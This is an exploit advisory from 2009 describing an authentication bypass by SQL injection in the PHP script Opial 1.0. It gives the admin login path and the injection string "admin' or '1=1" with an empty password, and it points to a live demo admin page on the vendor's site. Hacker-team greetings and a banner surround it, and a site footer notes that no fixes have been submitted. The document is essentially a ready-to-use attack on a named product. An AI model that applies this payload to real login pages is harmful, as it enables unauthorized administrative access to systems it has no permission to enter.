Opial 1.0 (Auth Bypass) Remote SQL Injection Vulnerability

2009-07-02 21:02:45

###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|


==============================================================================
[»] ~Fleck i love you :D hahaha
==============================================================================
[»] Opial Version 1.0 (Auth Bypass) Remote Sql Injection
==============================================================================

[»] Script: [ Opial Version 1.0 ]
[»] Language: [ PHP ]
[»] Download: [ http://www.opial.com/ ]
[»] Founder: [ Moudi or SixSo <[email protected]> ]
[»] Thanks to: [ MiZoZ , ZuKa , str0ke , and all hackers... ]
[»] Team: [ EvilWay ]
[»] SiteWeb: [ Visit - www.opensc.ws ]
[»] Price: [ $35 - $155 ]

###########################################################################

===[ Exploit SQL ]===

[»] http://www.site.com/patch/admin/

[»] User Name : admin' or '1=1
[»] Password : leave empty here

===[ LIVE DEMO ]===

[»] http://www.opial.com/demo/admin/

[»] User Name : admin' or '1=1
[»] Password :


Author: Moudi

###########################################################################

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.